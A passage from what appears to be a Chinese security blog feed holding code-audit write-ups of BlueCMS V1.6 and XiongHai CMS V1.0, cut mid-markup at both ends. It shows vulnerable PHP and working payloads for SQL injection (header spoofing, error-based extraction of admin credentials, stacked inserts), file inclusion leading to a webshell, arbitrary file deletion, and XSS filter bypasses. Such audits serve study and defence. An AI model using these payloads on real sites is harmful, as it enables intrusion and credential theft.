class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// include/common.fun.php 文件108行</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getip</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span> (getenv(<span class="string">'HTTP_CLIENT_IP'</span>))</span><br><span class="line">{</span><br><span class="line">$ip = getenv(<span class="string">'HTTP_CLIENT_IP'</span>); </span><br><span class="line">}</span><br><span class="line"><span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_X_FORWARDED_FOR'</span>)) </span><br><span class="line">{ </span><br><span class="line">$ip = getenv(<span class="string">'HTTP_X_FORWARDED_FOR'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_X_FORWARDED'</span>)) </span><br><span class="line">{ </span><br><span class="line">$ip = getenv(<span class="string">'HTTP_X_FORWARDED'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_FORWARDED_FOR'</span>))</span><br><span class="line">{</span><br><span class="line">$ip = getenv(<span class="string">'HTTP_FORWARDED_FOR'</span>); </span><br><span class="line">}</span><br><span class="line"><span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_FORWARDED'</span>))</span><br><span class="line">{</span><br><span class="line">$ip = getenv(<span class="string">'HTTP_FORWARDED'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{ </span><br><span class="line">$ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $ip;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于第一分析中<code>common.inc.php</code>,只对<code>$_POST</code>,<code>$_GET</code>,<code>$_COOKIE</code>,<code>$_REQUEST</code>进行了处理,但是遗漏了<code>$_SERVER</code>,而<code>getip()</code>函数中恰好是通过该变量获取ip地址。我们可以通过<code>client-ip</code>或<code>x-forwarded-for</code>进行ip的伪造,触发漏洞。</p><p>phpstorm使用<code>ctrl+shift+F</code>搜索一下,看哪里调用了<code>getip()</code>, 如下图,我们跟进<code>comment.php</code>文件114行</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228112453867.png" alt="image-20210228112453867"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$sql = <span class="string">"INSERT INTO "</span>.table(<span class="string">'comment'</span>).<span class="string">" (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '<span class="subst">$id</span>', '<span class="subst">$user_id</span>', '<span class="subst">$type</span>', '<span class="subst">$mood</span>', '<span class="subst">$content</span>', '<span class="subst">$timestamp</span>', '"</span>.getip().<span class="string">"', '<span class="subst">$is_check</span>')"</span>;</span><br><span class="line">$db->query($sql);</span><br></pre></td></tr></table></figure><p>这里我们也分析一下其他变量插入会不会产生漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$id = !<span class="keyword">empty</span>($_REQUEST[<span class="string">'id'</span>]) ? intval($_REQUEST[<span class="string">'id'</span>]) : <span class="string">''</span>;</span><br><span class="line"><span class="comment">// intval函数进行了转义</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$user_id = $_SESSION[<span class="string">'user_id'</span>] ? $_SESSION[<span class="string">'user_id'</span>] : <span class="number">0</span>; <span class="comment">// 略</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$mood = intval($_POST[<span class="string">'mood'</span>]);</span><br><span class="line"><span class="comment">// intval函数进行了转义</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$content = !<span class="keyword">empty</span>($_POST[<span class="string">'comment'</span>]) ? htmlspecialchars($_POST[<span class="string">'comment'</span>]) : <span class="string">''</span>;</span><br><span class="line"><span class="comment">// 对comment内容做了html转义,所以不存在xss</span></span><br></pre></td></tr></table></figure><p>看来我们还是只能利用<code>getip()</code>来触发漏洞</p><p>漏洞复现:</p><pre><code>这里是对评论区进行的sql注入,因此我们需要新建一篇文章,然后在评论区测试(白盒测试,为了方便理解,我将sql语句输出了)</code></pre><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228114626452.png" alt="image-20210228114626452"></p><p>poc 构造思路如下:</p><blockquote><p> 插入两条数据的思路,进行构造(注入返回结果要显示在留言内容处)</p></blockquote><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228121059448.png" alt="image-20210228121059448"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228120814610.png" alt="image-20210228120814610"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228120832493.png" alt="image-20210228120832493"></p><h3 id="另一处INSERT型注入"><a href="#另一处INSERT型注入" class="headerlink" title="另一处INSERT型注入"></a>另一处INSERT型注入</h3><p>在文件<code>guest_book.php</code>77行处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$sql = <span class="string">"INSERT INTO "</span> . table(<span class="string">'guest_book'</span>) . <span class="string">" (id, rid, user_id, add_time, ip, content) VALUES ('', '<span class="subst">$rid</span>', '<span class="subst">$user_id</span>', '<span class="subst">$timestamp</span>', '<span class="subst">$online_ip</span>', '<span class="subst">$content</span>')"</span>;</span><br><span class="line">$db->query($sql);</span><br></pre></td></tr></table></figure><p>这里有个<code>$online_ip</code>, 我们跟踪一下</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228141546498.png" alt="image-20210228141546498"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// include/common.fun.php文件106行处</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getip</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (getenv(<span class="string">'HTTP_CLIENT_IP'</span>))</span><br><span class="line"> {</span><br><span class="line"> $ip = getenv(<span class="string">'HTTP_CLIENT_IP'</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_X_FORWARDED_FOR'</span>)) </span><br><span class="line"> { <span class="comment">//????????????????????????????ip ???</span></span><br><span class="line"> $ip = getenv(<span class="string">'HTTP_X_FORWARDED_FOR'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_X_FORWARDED'</span>)) </span><br><span class="line"> { </span><br><span class="line"> $ip = getenv(<span class="string">'HTTP_X_FORWARDED'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_FORWARDED_FOR'</span>))</span><br><span class="line"> {</span><br><span class="line"> $ip = getenv(<span class="string">'HTTP_FORWARDED_FOR'</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">elseif</span> (getenv(<span class="string">'HTTP_FORWARDED'</span>))</span><br><span class="line"> {</span><br><span class="line"> $ip = getenv(<span class="string">'HTTP_FORWARDED'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> { </span><br><span class="line"> $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $ip;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>原理跟上面的sql注入一样,我们需要构造http头,加个<code>X-FORWARDED-FOR</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228143329923.png" alt="image-20210228143329923"></p><h3 id="本地文件包含"><a href="#本地文件包含" class="headerlink" title="本地文件包含"></a>本地文件包含</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228121311009.png" alt="image-20210228121311009"></p><p>漏洞发生在<code>user.php</code>文件750行处</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228121416983.png" alt="image-20210228121416983"></p><p><code>$_POST['pay']</code>并没有做多余的安全检测,而是直接进行拼接,但是后面有<code>index.php</code>文件,所以我们的重点是如何截断,所以我们的重点是如何截断。如果php版本低于<code>5.3.4</code>且<code>magic_quotes_gpc=off</code>则可以使用<code>%00</code>截断。还可以使用系统文件路径长度限制来进行截断</p><p>这里我们使用系统文件路径长度限制来截断:</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Windows <span class="number">259</span>个字节</span><br><span class="line">Linux <span class="number">4096</span>个字节</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228123050851.png" alt="image-20210228123050851"></p><p>当然了,由于文件包含漏洞可以包含图片文件(例如jpg),而且服务器会解析图片文件(当作php文件执行),那么我们就可以上传一个带木马的jpg文件,然后利用文件包含漏洞包含此jpg文件,拿webshell</p><p>具体利用步骤如下:</p><p>在个人资料编辑,上传头像处传jpg文件-> 使用包含漏洞包含此文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228123614385.png" alt="image-20210228123614385"></p><h3 id="任意文件删除"><a href="#任意文件删除" class="headerlink" title="任意文件删除"></a>任意文件删除</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228123713404.png" alt="image-20210228123713404"></p><p>漏洞发生在<code>publish.php</code>文件309行处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">elseif</span>($act == <span class="string">'del_pic'</span>)</span><br><span class="line">{</span><br><span class="line"> $id = $_REQUEST[<span class="string">'id'</span>];</span><br><span class="line"> $db->query(<span class="string">"DELETE FROM "</span>.table(<span class="string">'post_pic'</span>).<span class="string">" WHERE pic_path='<span class="subst">$id</span>'"</span>);</span><br><span class="line"> <span class="keyword">if</span>(file_exists(BLUE_ROOT.$id))</span><br><span class="line"> {</span><br><span class="line"> @unlink(BLUE_ROOT.$id);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>第7行<code>unlink</code>删除文件,传入<code>$id</code>,先删除数据库里的,然后判断本地有没有此文件,如果有,<code>unlink</code>函数也对其进行删除</p><p>漏洞复现:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/del.gif" alt="gif1"></p><h3 id="另一处任意文件删除"><a href="#另一处任意文件删除" class="headerlink" title="另一处任意文件删除"></a>另一处任意文件删除</h3><p>漏洞触发在文件<code>user.php</code>中788行处</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228133713751.png" alt="image-20210228133713751"></p><p>未做任何处理,直接导致任意文件删除漏洞</p><p>漏洞复现:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/del2.gif" alt="gif2"></p><h3 id="发布文章处XSS"><a href="#发布文章处XSS" class="headerlink" title="发布文章处XSS"></a>发布文章处XSS</h3><p>在<code>user.php</code>文件中的266行,有个对文章内容进行过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$content = !<span class="keyword">empty</span>($_POST[<span class="string">'content'</span>]) ? filter_data($_POST[<span class="string">'content'</span>]) : <span class="string">''</span>;</span><br></pre></td></tr></table></figure><p>跟进一下<code>filter_data</code>函数,看它过滤了什么(include/common.fun.php文件985行)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter_data</span>(<span class="params">$str</span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $str = preg_replace(<span class="string">"/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/"</span>, <span class="string">""</span>, $str);</span><br><span class="line"> <span class="keyword">return</span> $str;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>就过滤了几个标签,我们可以用img标签绕过: <code><img src=1 onerror=alert('Tao')></code></p><p>漏洞复现:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228135019232.png" alt="image-20210228135019232"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228134954595.png" alt="image-20210228134954595"></p><h3 id="用户注册处xss"><a href="#用户注册处xss" class="headerlink" title="用户注册处xss"></a>用户注册处xss</h3><p>在<code>user.php</code>文件中的763行处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//编辑个人资料</span></span><br><span class="line"> <span class="keyword">elseif</span>($act == <span class="string">'edit_user_info'</span>){</span><br><span class="line"> $user_id = intval($_SESSION[<span class="string">'user_id'</span>]);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">empty</span>($user_id)){</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line">$birthday = trim($_POST[<span class="string">'birthday'</span>]);</span><br><span class="line">$sex = intval($_POST[<span class="string">'sex'</span>]);</span><br><span class="line"> $email = !<span class="keyword">empty</span>($_POST[<span class="string">'email'</span>]) ? trim($_POST[<span class="string">'email'</span>]) : <span class="string">''</span>;</span><br><span class="line"> $msn = !<span class="keyword">empty</span>($_POST[<span class="string">'msn'</span>]) ? trim($_POST[<span class="string">'msn'</span>]) : <span class="string">''</span>;</span><br><span class="line"> $qq = !<span class="keyword">empty</span>($_POST[<span class="string">'qq'</span>]) ? trim($_POST[<span class="string">'qq'</span>]) : <span class="string">''</span>;</span><br><span class="line"> $mobile_phone = !<span class="keyword">empty</span>($_POST[<span class="string">'mobile_phone'</span>]) ? trim($_POST[<span class="string">'mobile_phone'</span>]) : <span class="string">''</span>;</span><br><span class="line"> $office_phone = !<span class="keyword">empty</span>($_POST[<span class="string">'office_phone'</span>]) ? trim($_POST[<span class="string">'office_phone'</span>]) : <span class="string">''</span>;</span><br><span class="line"> $home_phone = !<span class="keyword">empty</span>($_POST[<span class="string">'home_phone'</span>]) ? trim($_POST[<span class="string">'home_phone'</span>]) : <span class="string">''</span>;</span><br><span class="line">$address = !<span class="keyword">empty</span>($_POST[<span class="string">'address'</span>]) ? htmlspecialchars($_POST[<span class="string">'address'</span>]) : <span class="string">''</span>;</span><br><span class="line"> ..............</span><br><span class="line"> ...............</span><br><span class="line"> $sql = <span class="string">"UPDATE "</span>.table(<span class="string">'user'</span>).<span class="string">" SET birthday = '<span class="subst">$birthday</span>', sex = '<span class="subst">$sex</span>', face_pic = '<span class="subst">$face_pic</span>', email = '<span class="subst">$email</span>', msn = '<span class="subst">$msn</span>', qq = '<span class="subst">$qq</span>',"</span> .<span class="string">" mobile_phone = '<span class="subst">$mobile_phone</span>', office_phone = '<span class="subst">$office_phone</span>', home_phone = '<span class="subst">$home_phone</span>', address='<span class="subst">$address</span>' WHERE user_id = "</span>.intval($_SESSION[<span class="string">'user_id'</span>]);</span><br><span class="line">$db->query($sql);</span><br><span class="line">showmsg(<span class="string">'更新个人资料成功'</span>, <span class="string">'user.php'</span>);</span><br></pre></td></tr></table></figure><p><code>$email</code>只是经过了<code>trim</code>, 其余未作处理,存在xss</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228135739337.png" alt="image-20210228135739337"></p><p>观察表结构,<code>email</code>长度是足够存储产生xss代码的</p><p>漏洞复现:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228140258239.png" alt="image-20210228140258239"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228140315054.png" alt="image-20210228140315054"></p><p>当管理登录后台,查看用户的时候,也会触发(可拿管理员cookie),这里模拟一下管理员登录后台。且具有隐藏性</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228140444256.png" alt="image-20210228140444256"></p><h3 id="后台大量漏洞"><a href="#后台大量漏洞" class="headerlink" title="后台大量漏洞"></a>后台大量漏洞</h3><p>漏洞有点多,就先不写了,哈哈哈哈!</p>]]></content>
<summary type="html"><h1 id="代码审计之BlueCMS-V1-6"><a href="#代码审计之BlueCMS-V1-6" class="headerlink" title="代码审计之BlueCMS_V1.6"></a>代码审计之BlueCMS_V1.6</h1><h2 id="漏洞环境-</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>代码审计之熊海CMS_V1.0</title>
<link href="https://taonn.github.io/2021/02/01/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E7%86%8A%E6%B5%B7CMS-V1-0/"/>
<id>https://taonn.github.io/2021/02/01/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E7%86%8A%E6%B5%B7CMS-V1-0/</id>
<published>2021-02-01T13:35:01.000Z</published>
<updated>2021-03-16T05:29:44.904Z</updated>
<content type="html"><![CDATA[<h2 id="漏洞环境-amp-搭建"><a href="#漏洞环境-amp-搭建" class="headerlink" title="漏洞环境&搭建"></a>漏洞环境&搭建</h2><p>访问<code>install</code>目录,填写相关配置。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="入口处存在文件包含漏洞"><a href="#入口处存在文件包含漏洞" class="headerlink" title="入口处存在文件包含漏洞"></a>入口处存在文件包含漏洞</h3><p>漏洞触发文件为<code>index.php</code>,具体代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//单一入口模式</span></span><br><span class="line">error_reporting(<span class="number">0</span>); <span class="comment">//关闭错误显示</span></span><br><span class="line">$file=addslashes($_GET[<span class="string">'r'</span>]); <span class="comment">//接收文件名</span></span><br><span class="line">$action=$file==<span class="string">''</span>?<span class="string">'index'</span>:$file; <span class="comment">//判断为空或者等于index</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'files/'</span>.$action.<span class="string">'.php'</span>); <span class="comment">//载入相应文件</span></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><code>$file</code>变量通过GET请求r参数获取文件名,经过了<code>addslashes</code>函数。第5行通过三元运算符判断文件是否为空,为空则载入<code>files/index.php</code>文件。反之赋值加载<code>files/$file.php</code>(<code>$action=$file</code>)。这里的代码逻辑虽然限制了只能访问<code>files</code>目录下的php文件(对文件进行了拼接<code>$action.'.php'</code>)。而且<code>addslashes</code>只转义<code>单引号(')</code>,<code>双引号(")</code>, <code>反斜杠(\)</code>,<code>NULL</code></p><p>根据上面的分析,我们只需要解决以下两个问题,即可触发任意文件包含漏洞</p><ul><li>1.如何跳出<code>files</code>目录?</li><li>2.如何截断拼接的<code>php</code>后缀?</li></ul><p>解决方案也很简单,第一点我们使用<code>../</code>即可。第二点的话利用<strong>系统文件路径长度的限制</strong>来解决。</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Windows <span class="number">259</span>个字节</span><br><span class="line">Linux <span class="number">4096</span>个字节</span><br></pre></td></tr></table></figure><p>漏洞利用:在根目录下新建一个<code>tao.txt</code>,文件内容为<code><?php phpinfo();?></code></p><p>访问<code>?r=../tao.txt......</code>(为了排版,这里省略一手😜)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301163210626.png" alt="image-20210301163210626"></p><h3 id="UPDATE型SQL注入"><a href="#UPDATE型SQL注入" class="headerlink" title="UPDATE型SQL注入"></a>UPDATE型SQL注入</h3><p>漏洞发生在<code>files/content.php</code>文件中</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301170718042.png" alt="image-20210301170718042"></p><p>第8行使用了<code>addslashes</code>函数将<code>$id</code>进行了转义,而第14行的SQL语句用了单引号保护<code>$navid</code>变量,防止SQL注入,但是19行却存在明显的UPDATE型注入,利用报错执行sql命令</p><p>漏洞利用:</p><p>payload-><code>1 or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301171019946.png" alt="image-20210301171019946"></p><p>文件<code>files/software.php</code>13行也存在同样的问题。语句都一样😂</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301171333891.png" alt="image-20210301171333891"></p><p>修改访问为<code>?r=software</code>。利用报错注入,跟上面一样。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301171245102.png" alt="image-20210301171245102"></p><h3 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h3><p>漏洞发生在<code>files/submit.php</code>文件66行处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$name=$_POST[<span class="string">'name'</span>];</span><br><span class="line">$mail=$_POST[<span class="string">'mail'</span>];</span><br><span class="line">$url=$_POST[<span class="string">'url'</span>];</span><br><span class="line">$content=$_POST[<span class="string">'content'</span>];</span><br><span class="line">$cid=$_POST[<span class="string">'cid'</span>];</span><br><span class="line">....</span><br><span class="line"><span class="comment">//查询用户头像数据</span></span><br><span class="line">$query = <span class="string">"SELECT * FROM interaction WHERE( mail = '<span class="subst">$mail</span>')"</span>;</span><br></pre></td></tr></table></figure><p><code>$mail</code> 未作任何过滤,闭合括号,使用报错注入</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301185624893.png" alt="image-20210301185624893"></p><h3 id="INSERT型SQL注入"><a href="#INSERT型SQL注入" class="headerlink" title="INSERT型SQL注入"></a>INSERT型SQL注入</h3><p>漏洞发生在<code>files/submit.php</code>文件中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">$tz=$_POST[<span class="string">'tz'</span>];<span class="comment">// 第11行</span></span><br><span class="line">....</span><br><span class="line">$query = <span class="string">"INSERT INTO interaction (// 121行</span></span><br><span class="line"><span class="string">type,</span></span><br><span class="line"><span class="string">xs,</span></span><br><span class="line"><span class="string">cid,</span></span><br><span class="line"><span class="string">name,</span></span><br><span class="line"><span class="string">mail,</span></span><br><span class="line"><span class="string">url,</span></span><br><span class="line"><span class="string">touxiang,</span></span><br><span class="line"><span class="string">shebei,</span></span><br><span class="line"><span class="string">ip,</span></span><br><span class="line"><span class="string">content,</span></span><br><span class="line"><span class="string">tz,</span></span><br><span class="line"><span class="string">date</span></span><br><span class="line"><span class="string">) VALUES (</span></span><br><span class="line"><span class="string">'<span class="subst">$type</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$xs</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$cid</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$name</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$mail</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$url</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$touxiang</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$shebei</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$ip</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$content</span>',</span></span><br><span class="line"><span class="string">'<span class="subst">$tz</span>',</span></span><br><span class="line"><span class="string">now()</span></span><br><span class="line"><span class="string">)"</span>;</span><br></pre></td></tr></table></figure><p>由于11行<code>$tz</code>POST请求传过来,未作任何处理。</p><p>漏洞利用:利用思路跟BlueCMS分析里面一样,插入两条数据(内容处显示回显结果)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">name=Tao&mail=Tao@qq.com&url=http:<span class="comment">//www.baidu.com&content=aaaaa测试&cid=1&tz=888',</span></span><br><span class="line">now()),(<span class="string">'1'</span>,<span class="string">'1'</span>,<span class="string">'1'</span>,<span class="string">'Tao'</span>,<span class="string">'Tao@qq.com'</span>,<span class="string">'http://www.baidu.com'</span>,<span class="string">'5'</span>,<span class="string">'PC'</span>,</span><br><span class="line"><span class="string">'127.0.0.1'</span>,(select<span class="comment">/*Tao*/</span>user()),<span class="string">'Tao</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301192359234.png" alt="image-20210301192359234"></p><h3 id="两个SQL注入"><a href="#两个SQL注入" class="headerlink" title="两个SQL注入"></a>两个SQL注入</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$type=addslashes($_GET[<span class="string">'type'</span>]);</span><br><span class="line">$cid=$_POST[<span class="string">'cid'</span>];</span><br><span class="line"><span class="keyword">if</span> ($type==<span class="string">'comment'</span>){<span class="comment">//75行</span></span><br><span class="line">$fhlink=<span class="string">"/?r=content&cid="</span>.$cid;</span><br><span class="line">$fhname=<span class="string">"评论"</span>;</span><br><span class="line">$type=<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> ($pltz==<span class="number">1</span>){</span><br><span class="line">....</span><br><span class="line"> <span class="keyword">if</span> ($type==<span class="number">1</span>){</span><br><span class="line"> $query = <span class="string">"SELECT * FROM content WHERE( id= <span class="subst">$cid</span>)"</span>;<span class="comment">// SQL注入</span></span><br><span class="line"> $result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line"> $wz = mysql_fetch_array($result);</span><br><span class="line"> $title=$wz[<span class="string">'title'</span>];</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里想要利用SQL注入,首先需要使得<code>$pltz==1</code>, 然后使<code>$type==1</code>, 而需要使<code>$type=1</code>的条件就是<code>$type=='comment'</code>。而这个我们是可以控制的,所以产生了此漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($type==<span 